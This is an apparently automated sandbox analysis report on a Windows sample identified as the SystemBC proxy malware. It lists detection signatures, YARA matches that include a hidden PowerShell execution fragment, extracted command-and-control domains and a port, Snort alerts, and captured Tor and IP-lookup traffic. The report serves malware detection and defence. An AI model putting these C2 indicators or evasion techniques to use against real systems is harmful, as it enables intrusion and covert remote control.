Edit tour

Windows Analysis Report
p9CvI6kq7d.exe

Overview

General Information

Sample Name:	p9CvI6kq7d.exe
Analysis ID:	764865
MD5:	0f6f452ee406b3360e39819aac42a200
SHA1:	e62b9163c2eddbc8bdf262faf11ac1f5f1e25683
SHA256:	76bd9bebdadfeda8974424b76d669a8f22b4a1178b1a9caae0d2c5a60c9db5e9
Tags:	exeSystemBC
Infos:

Detection

SystemBC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Detected unpacking (overwrites its own PE header)

Antivirus / Scanner detection for submitted sample

Yara detected SystemBC

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Found evasive API chain (may stop execution after checking mutex)

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

May check the online IP address of the machine

Tries to detect virtualization through RDTSC time measurements

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

May use the Tor software to hide its network traffic

Uses 32bit PE files

Found decision node followed by non-executed suspicious APIs

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Drops PE files to the application program directory (C:\ProgramData)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Creates files inside the system directory

Detected potential crypto function

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Creates job files (autostart)

JA3 SSL client fingerprint seen in connection with other malware

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

AV process strings found (often used to terminate AV products)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Found evasive API chain checking for process token information

Detected TCP or UDP traffic on non-standard ports

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

p9CvI6kq7d.exe (PID: 3184 cmdline: C:\Users\user\Desktop\p9CvI6kq7d.exe MD5: 0F6F452EE406B3360E39819AAC42A200)

orvsmwx.exe (PID: 6072 cmdline: C:\ProgramData\prfxiau\orvsmwx.exe start MD5: 0F6F452EE406B3360E39819AAC42A200)

cleanup

Malware Configuration

Threatname: SystemBC

{"HOST1": "asdasd08.com", "HOST2": "asdasd08.xyz", "PORT1": "4039"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000003.249872863.0000000000590000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000001.00000003.249872863.0000000000590000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_EXEPWSH_DLAgent	Detects SystemBC	ditekSHen	0x75b1:$pwsh: powershell 0x7912:$s1: GET %s HTTP/1 0x792d:$s2: User-Agent: 0x75bc:$s3: -WindowStyle Hidden -ep bypass -file " 0x76b1:$s4: LdrLoadDll 0x752b:$v6: start
00000000.00000002.245017062.0000000000546000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1258:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000000.00000002.245054120.0000000000670000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000000.00000002.244946144.0000000000400000.00000040.00000001.01000000.00000003.sdmp	MALWARE_Win_EXEPWSH_DLAgent	Detects SystemBC	ditekSHen	0x91b1:$pwsh: powershell 0x9512:$s1: GET %s HTTP/1 0x952d:$s2: User-Agent: 0x91bc:$s3: -WindowStyle Hidden -ep bypass -file " 0x92b1:$s4: LdrLoadDll 0x912b:$v6: start
00000000.00000003.243252141.0000000000680000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000000.00000003.243252141.0000000000680000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_EXEPWSH_DLAgent	Detects SystemBC	ditekSHen	0x75b1:$pwsh: powershell 0x7912:$s1: GET %s HTTP/1 0x792d:$s2: User-Agent: 0x75bc:$s3: -WindowStyle Hidden -ep bypass -file " 0x76b1:$s4: LdrLoadDll 0x752b:$v6: start
Process Memory Space: p9CvI6kq7d.exe PID: 3184	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.3.p9CvI6kq7d.exe.680000.0.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0.3.p9CvI6kq7d.exe.680000.0.raw.unpack	MALWARE_Win_EXEPWSH_DLAgent	Detects SystemBC	ditekSHen	0x75b1:$pwsh: powershell 0x7912:$s1: GET %s HTTP/1 0x792d:$s2: User-Agent: 0x75bc:$s3: -WindowStyle Hidden -ep bypass -file " 0x76b1:$s4: LdrLoadDll 0x752b:$v6: start
0.2.p9CvI6kq7d.exe.400000.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0.2.p9CvI6kq7d.exe.400000.0.unpack	MALWARE_Win_EXEPWSH_DLAgent	Detects SystemBC	ditekSHen	0x75b1:$pwsh: powershell 0x7912:$s1: GET %s HTTP/1 0x792d:$s2: User-Agent: 0x75bc:$s3: -WindowStyle Hidden -ep bypass -file " 0x76b1:$s4: LdrLoadDll 0x752b:$v6: start
0.2.p9CvI6kq7d.exe.670e50.1.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0.2.p9CvI6kq7d.exe.670e50.1.raw.unpack	MALWARE_Win_EXEPWSH_DLAgent	Detects SystemBC	ditekSHen	0x75b1:$pwsh: powershell 0x7912:$s1: GET %s HTTP/1 0x792d:$s2: User-Agent: 0x75bc:$s3: -WindowStyle Hidden -ep bypass -file " 0x76b1:$s4: LdrLoadDll 0x752b:$v6: start
1.3.orvsmwx.exe.590000.0.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0.2.p9CvI6kq7d.exe.400000.0.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
1.3.orvsmwx.exe.590000.0.raw.unpack	MALWARE_Win_EXEPWSH_DLAgent	Detects SystemBC	ditekSHen	0x75b1:$pwsh: powershell 0x7912:$s1: GET %s HTTP/1 0x792d:$s2: User-Agent: 0x75bc:$s3: -WindowStyle Hidden -ep bypass -file " 0x76b1:$s4: LdrLoadDll 0x752b:$v6: start
0.2.p9CvI6kq7d.exe.400000.0.raw.unpack	MALWARE_Win_EXEPWSH_DLAgent	Detects SystemBC	ditekSHen	0x91b1:$pwsh: powershell 0x9512:$s1: GET %s HTTP/1 0x952d:$s2: User-Agent: 0x91bc:$s3: -WindowStyle Hidden -ep bypass -file " 0x92b1:$s4: LdrLoadDll 0x912b:$v6: start
Click to see the 5 entries

Snort Signatures

ET TROJAN Observed SystemBC CnC Domain in DNS Query - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.859869532031427 12/11/22-09:25:03.649156
SID:	2031427
Source Port:	59869
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed SystemBC CnC Domain in DNS Query - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.860625532031427 12/11/22-09:26:31.319789
SID:	2031427
Source Port:	60625
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed SystemBC CnC Domain in DNS Query - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.857990532031427 12/11/22-09:25:50.584799
SID:	2031427
Source Port:	57990
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed SystemBC CnC Domain in DNS Query - Source IP: 192.168.2.3 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.38.8.8.851139532031427 12/11/22-09:26:46.160582
SID:	2031427
Source Port:	51139
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: p9CvI6kq7d.exe	Virustotal: Detection: 80%			Perma Link
Source: p9CvI6kq7d.exe	ReversingLabs: Detection: 88%

Antivirus / Scanner detection for submitted sample

Source: p9CvI6kq7d.exe

Avira: detected

Antivirus detection for URL or domain

Source: asdasd08.com	Avira URL Cloud: Label: malware
Source: http://193.23.244.244/tor/status-vote/current/consensus	Avira URL Cloud: Label: malware
Source: asdasd08.xyz	Avira URL Cloud: Label: malware
Source: http://86.59.21.38/tor/status-vote/current/consensus	Avira URL Cloud: Label: malware
Source: http://131.188.40.189/tor/status-vote/current/consensus	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: asdasd08.xyz	Virustotal: Detection: 12%			Perma Link
Source: asdasd08.com	Virustotal: Detection: 11%			Perma Link

Antivirus detection for dropped file

Source: C:\ProgramData\prfxiau\orvsmwx.exe

Avira: detection malicious, Label: HEUR/AGEN.1209913

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\prfxiau\orvsmwx.exe

ReversingLabs: Detection: 88%

Machine Learning detection for sample

Source: p9CvI6kq7d.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\ProgramData\prfxiau\orvsmwx.exe

Joe Sandbox ML: detected

Source: 0.2.p9CvI6kq7d.exe.400000.0.unpack	Avira: Label: TR/Crypt.XPACK.Gen2
Source: 1.3.orvsmwx.exe.590000.0.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: 0.2.p9CvI6kq7d.exe.400000.0.unpack

Malware Configuration Extractor: SystemBC {"HOST1": "asdasd08.com", "HOST2": "asdasd08.xyz", "PORT1": "4039"}

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_00403B56 CryptStringToBinaryA,CryptStringToBinaryA,CryptDecodeObject,	0_2_00403B56
Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_00404065 CryptStringToBinaryA,CryptStringToBinaryA,	0_2_00404065
Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_00401168 CryptAcquireContextA,CryptStringToBinaryA,CryptStringToBinaryA,inet_addr,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,CryptDecodeObject,CryptStringToBinaryA,CryptStringToBinaryA,wsprintfA,select,select,inet_addr,CryptReleaseContext,	0_2_00401168
Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_00401D6D CryptReleaseContext,	0_2_00401D6D
Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_00403E30 CryptImportKey,CryptExportKey,CryptDestroyKey,	0_2_00403E30
Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_00404484 QueryContextAttributesA,VirtualAlloc,EncryptMessage,	0_2_00404484
Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_004045B9 VirtualAlloc,DecryptMessage,	0_2_004045B9
Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_006742B5 CryptStringToBinaryA,	0_2_006742B5
Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_00673DA6 CryptStringToBinaryA,CryptStringToBinaryA,CryptDecodeObject,	0_2_00673DA6
Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_00671FBD CryptReleaseContext,	0_2_00671FBD
Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: 0_2_006713B8 CryptStringToBinaryA,CryptStringToBinaryA,inet_addr,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,CryptStringToBinaryA,CryptDecodeObject,CryptStringToBinaryA,CryptStringToBinaryA,wsprintfA,select,select,inet_addr,CryptReleaseContext,	0_2_006713B8

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe	Code function: -----BEGIN RSA PUBLIC KEY-----		0_2_00404065
Source: p9CvI6kq7d.exe	Binary or memory string: -----BEGIN RSA PUBLIC KEY-----

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

Unpacked PE file: 0.2.p9CvI6kq7d.exe.400000.0.unpack

Source: p9CvI6kq7d.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\p9CvI6kq7d.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 64.185.227.156:443 -> 192.168.2.3:49691 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 64.185.227.156:443 -> 192.168.2.3:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 64.185.227.156:443 -> 192.168.2.3:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.128.64.141:443 -> 192.168.2.3:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 64.185.227.156:443 -> 192.168.2.3:49756 version: TLS 1.2

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2031427 ET TROJAN Observed SystemBC CnC Domain in DNS Query 192.168.2.3:59869 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2031427 ET TROJAN Observed SystemBC CnC Domain in DNS Query 192.168.2.3:57990 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2031427 ET TROJAN Observed SystemBC CnC Domain in DNS Query 192.168.2.3:60625 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2031427 ET TROJAN Observed SystemBC CnC Domain in DNS Query 192.168.2.3:51139 -> 8.8.8.8:53

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 9031
Source: unknown	Network traffic detected: HTTP traffic on port 9031 -> 49753

Performs DNS queries to domains with low reputation

Source: C:\ProgramData\prfxiau\orvsmwx.exe	DNS query: asdasd08.xyz
Source: C:\ProgramData\prfxiau\orvsmwx.exe	DNS query: asdasd08.xyz
Source: C:\ProgramData\prfxiau\orvsmwx.exe	DNS query: asdasd08.xyz
Source: C:\ProgramData\prfxiau\orvsmwx.exe	DNS query: asdasd08.xyz

May check the online IP address of the machine

Source: C:\ProgramData\prfxiau\orvsmwx.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\prfxiau\orvsmwx.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\prfxiau\orvsmwx.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\prfxiau\orvsmwx.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\prfxiau\orvsmwx.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\prfxiau\orvsmwx.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\prfxiau\orvsmwx.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\prfxiau\orvsmwx.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\prfxiau\orvsmwx.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\prfxiau\orvsmwx.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\prfxiau\orvsmwx.exe	DNS query: name: api.ipify.org
Source: C:\ProgramData\prfxiau\orvsmwx.exe	DNS query: name: api.ipify.org

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: asdasd08.com
Source: Malware configuration extractor	URLs: asdasd08.xyz

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Joe Sandbox View	IP Address: 86.59.21.38 86.59.21.38
Source: Joe Sandbox View	IP Address: 86.59.21.38 86.59.21.38

Source: global traffic	HTTP traffic detected: GET / HTTP/1.0Host: api.ipify.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET / HTTP/1.0Host: api.ipify.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET / HTTP/1.0Host: api.ipify.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET / HTTP/1.0Host: ip4.seeip.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 131.188.40.189User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/aacd4e09e65ba18caf35fbc855ef659505b36e9e HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38ca28d8b9980ccd9ab830d3006bb698ce99b20d HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38cc95a8ce92a591d4a5779359beffba13fa1b88 HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38e73023a9792cdb8adcd4d1b2a220effe8d8ff5 HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02a8ccb1fb70984226231283596da734a80e3f6f HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02b2152129686ae0be05f3d1460591dd71c4bb15 HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/8885ea6f74a694825b13b8a7080f6cf164df74fb HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02d832f002d4ca3d25adda2cbbb2d09ee41a15ab HTTP/1.0Host: 151.20.208.221User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 131.188.40.189User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/5d5ddff29b96cc566aa746636868eb07f97de60c HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38ca28d8b9980ccd9ab830d3006bb698ce99b20d HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38cc95a8ce92a591d4a5779359beffba13fa1b88 HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/38e73023a9792cdb8adcd4d1b2a220effe8d8ff5 HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/d3e9f867ddf28de191ea611fd360353c8384f8ab HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/02a8ccb1fb70984226231283596da734a80e3f6f HTTP/1.0Host: 77.7.81.140User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
